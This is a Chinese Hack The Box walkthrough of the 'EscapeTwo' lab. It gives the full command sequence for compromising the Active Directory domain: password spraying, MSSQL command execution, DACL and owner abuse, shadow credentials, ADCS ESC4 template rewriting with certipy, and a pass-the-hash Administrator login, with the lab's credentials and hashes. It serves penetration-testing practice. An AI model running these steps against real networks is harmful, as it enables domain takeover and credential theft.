HTB:EscapeTwo[WriteUP]

目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

将靶机TCP开放端口号提取并保存

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用nmap对靶机UDP开放端口进行脚本、服务扫描

使用smbmap枚举靶机SMB服务器共享

继续使用smbmap递归枚举`Accounting Department`共享

使用WPS打开该EXCEL文件

边界突破

使用netexec枚举靶机域内用户

使用netexec通过上述账户、密码列表进行密码喷洒

使用netexec测试这两个凭证是否可用

使用netexec通过MSSQL凭证对靶机进行目录遍历

使用netexec通过上述密码对靶机域内用户进行密码喷洒

使用evil-winrm通过上述凭证登录靶机

权限提升

使用netexec枚举靶机域内信息

使用BloodHound查看ryan用户的可传递控制对象

查看ca_svc用户信息

使用bloodyAD将ca_syc用户拥有者修改为ryan用户

使用impacket-dacledit将ryan用户对ca_svc用户的权限修改为完全控制

使用certipy-ad创建ca_svc用户影子证书

使用Certify枚举靶机域内证书模板

使用certipy-ad通过ca_svc哈希密码枚举靶机ADCS尝试发现该漏洞

使用certipy-ad通过ca_svc哈希密码重写该模板信息,使其符合攻击要求

使用certipy-ad请求一份Administrator用户符合模板要求的证书

使用certipy-ad借助pfx证书通过身份认证

使用impacket-psexec通过上述哈希凭证登录靶机


连接至HTB服务器并启动靶机

分配IP:10.10.16.22

靶机IP:10.10.11.51

靶机AD:sequel.htb

靶机DC:DC01.sequel.htb

  • 已有凭证

账户:rose

密码:KxEPkKe6R8su


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a escapetwo.htb -r 1-65535 --ulimit 5000 | tee res

将靶机TCP开放端口号提取并保存
ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep ^[0-9] res | cut -d/ -f1 | paste -sd,                                       
53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49689,49690,49693,49706,49722,49731,49814
                                                                                                                           
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
                                                                                                                           
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports                            
53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49689,49690,49693,49706,49722,49731,49814

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -sT -p$ports -sCV -Pn escapetwo.htb

  • 需要重点关注的服务和信息

AD域名:sequel.htb

53端口:Domain服务

88端口:Kerberos服务

389端口:LDAP服务

445端口:SMB服务

1433端口:SQL-Server服务

5985端口:Win-RM服务

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn escapetwo.htb

使用nmap对靶机常用UDP端口进行开放扫描

nmap -sU --top-ports 20 -Pn escapetwo.htb

使用nmap对靶机UDP开放端口进行脚本、服务扫描
nmap -sU -p53,123 -sCV -Pn escapetwo.htb

使用smbmap枚举靶机SMB服务器共享

smbmap -u 'rose' -p 'KxEPkKe6R8su' -H escapetwo.htb

继续使用smbmap递归枚举`Accounting Department`共享
smbmap -u 'rose' -p 'KxEPkKe6R8su' -H escapetwo.htb -r 'Accounting Department'

  • 将`accounts.xlsx`文件下载到攻击机本地
smbmap -u 'rose' -p 'KxEPkKe6R8su' -H escapetwo.htb -r 'Accounting Department' --download './Accounting Department/accounts.xlsx'

使用WPS打开该EXCEL文件

  • 由此可得四份密码,将其保存为列表另作他用

0fwz7Q4mSpurIt99

86LxLBMgEWaKUnBG

Md9Wlq1E5bZnVDVo

MSSQLP@ssw0rd!

cat << EOF > passwds.txt

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat << EOF > passwds.txt                                    
heredoc> 0fwz7Q4mSpurIt99
86LxLBMgEWaKUnBG
Md9Wlq1E5bZnVDVo
MSSQLP@ssw0rd!
heredoc> EOF


边界突破

使用netexec枚举靶机域内用户

nxc ldap escapetwo.htb -d sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --users

  • 将用户名提取保存成列表
nxc ldap escapetwo.htb -d sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --users | grep -A50 Username | tail -n+2 | awk '{print $5}' | tee names.txt

使用netexec通过上述账户、密码列表进行密码喷洒
nxc ldap escapetwo.htb -d sequel.htb -u names.txt -p passwds.txt --continue-on-success

账户:oscar

密码:86LxLBMgEWaKUnBG

  • 除此之外,我还关注到sa账户密码带有mssql字样

账户:sa

密码:MSSQLP@ssw0rd!

使用netexec测试这两个凭证是否可用
nxc winrm escapetwo.htb -u 'oscar' -p '86LxLBMgEWaKUnBG'
nxc mssql escapetwo.htb -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'whoami'

使用netexec通过MSSQL凭证对靶机进行目录遍历

nxc mssql escapetwo.htb -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'dir "C:\SQL2019\ExpressAdv_ENU"'
  • C:\SQL2019\ExpressAdv_ENU目录中可见sql-Configuration.INI文件

  • 查看该文件内容
nxc mssql escapetwo.htb -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'type "C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI"'

  • 获得一凭证

账户:SEQUEL\sql_svc

密码:WqSZAF6CysDQbGb3

使用netexec通过上述密码对靶机域内用户进行密码喷洒
nxc ldap escapetwo.htb -d sequel.htb -u names.txt -p 'WqSZAF6CysDQbGb3' --continue-on-success

  • 测试这两个账户哪个可用于Win-RM登录
nxc winrm escapetwo.htb -d sequel.htb -u names2.txt -p 'WqSZAF6CysDQbGb3' --continue-on-success

使用evil-winrm通过上述凭证登录靶机

evil-winrm -i escapetwo.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3'

  • C:\Users\ryan\Desktop找到user.txt文件


权限提升

使用netexec枚举靶机域内信息

nxc ldap sequel.htb -d sequel.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3' --dns-server 10.10.11.51 --bloodhound -c All

使用BloodHound查看ryan用户的可传递控制对象

  • 由图表可见,ryan用户对ca_svc用户具有WriteOwner权限
查看ca_svc用户信息
net user ca_svc /domain

  • 由输出可见,该用户属于Cert Publishers

使用bloodyAD将ca_syc用户拥有者修改为ryan用户

bloodyAD -d escapetwo.htb --dc-ip 10.10.11.51 --dns 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# bloodyAD -d escapetwo.htb --dc-ip 10.10.11.51 --dns 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
[+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by ryan on ca_svc

使用impacket-dacledit将ryan用户对ca_svc用户的权限修改为完全控制
python3.11 dacledit.py -action 'write' -principal 'ryan' -target 'ca_svc' 'sequel.htb/ryan:WqSZAF6CysDQbGb3'

┌──(kali㉿kali)-[~/Desktop/temp]
└─$ python3.11 dacledit.py -action 'write' -principal 'ryan' -target 'ca_svc' 'sequel.htb/ryan:WqSZAF6CysDQbGb3'            
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] DACL backed up to dacledit-20250205-014331.bak
[*] DACL modified successfully!

  • 将本地时钟与靶机同步
sudo ntpdate escapetwo.htb
使用certipy-ad创建ca_svc用户影子证书
certipy-ad shadow auto -u 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -target escapetwo.htb -dc-ip 10.10.11.51 -ns 10.10.11.51

  • 与此同时获得该用户NTLM密码哈希

账户:ca_svc

密码哈希:3b181b914e7a9d5508ea1e20bc2b7fce

  • 将Certify.exe上传至靶机
upload Certify.exe
使用Certify枚举靶机域内证书模板
.\Certify.exe find /domain:sequel.htb

<...SNIP...>

  • 由输出可见,该模板对Domain Admins具有注册权利,而且Cert Publishers对该模板具有完全控制权限,因此恶意利用该模板即可获取管理员密码哈希
使用certipy-ad通过ca_svc哈希密码枚举靶机ADCS尝试发现该漏洞
certipy-ad find -u ca_svc@sequel.htb -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -vulnerable -stdout

  • 由末尾输出可见,利用该模板可导致ESC4漏洞攻击

使用certipy-ad通过ca_svc哈希密码重写该模板信息,使其符合攻击要求

certipy-ad template -u ca_svc@sequel.htb -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -k -template 'DunderMifflinAuthentication' -target DC01.sequel.htb -ns 10.10.11.51 -debug

使用certipy-ad请求一份Administrator用户符合模板要求的证书

certipy-ad req -u ca_svc@sequel.htb -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template 'DunderMifflinAuthentication' -upn Administrator@sequel.htb -target DC01.sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 -dc-ip 10.10.11.51
  • 这里尝试了很多次,需要在certipy-ad更新了模板后快速执行该命令才能成功

使用certipy-ad借助pfx证书通过身份认证
certipy-ad auth -pfx administrator_10.pfx

使用impacket-psexec通过上述哈希凭证登录靶机

impacket-psexec sequel.htb/administrator@10.10.11.51 -hashes 'aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff'

  • C:\Users\Administrator\Desktop目录下找到root.txt文件

内容概要:本文详细探讨了制造业工厂中两条交叉轨道(红色和紫色)上的自动导引车(AGV)调度问题。系统包含2辆红色轨道AGV和1辆紫色轨道AGV,它们需完成100个运输任务。文章首先介绍了AGV系统的背景和目标,即最小化所有任务的完成时间,同时考虑轨道方向性、冲突避免、安全间隔等约束条件。随后,文章展示了Python代码实现,涵盖了轨道网络建模、AGV初始化、任务调度核心逻辑、电池管理和模拟运行等多个方面。为了优化调度效果,文中还提出了冲突避免机制增强、精确轨道建模、充电策略优化以及综合调度算法等改进措施。最后,文章通过可视化与结果分析,进一步验证了调度系统的有效性和可行性。 适合人群:具备一定编程基础和对自动化物流系统感兴趣的工程师、研究人员及学生。 使用场景及目标:①适用于制造业工厂中多AGV调度系统的开发与优化;②帮助理解和实现复杂的AGV调度算法,提高任务完成效率和系统可靠性;③通过代码实例学习如何构建和优化AGV调度模型,掌握冲突避免、路径规划和电池管理等关键技术。 其他说明:此资源不仅提供了详细的代码实现和理论分析,还包括了可视化工具和性能评估方法,使读者能够在实践中更好地理解和应用AGV调度技术。此外,文章还强调了任务特征分析的重要性,并提出了基于任务特征的动态调度策略,以应对高峰时段和卸载站拥堵等情况。
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

x0da6h

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值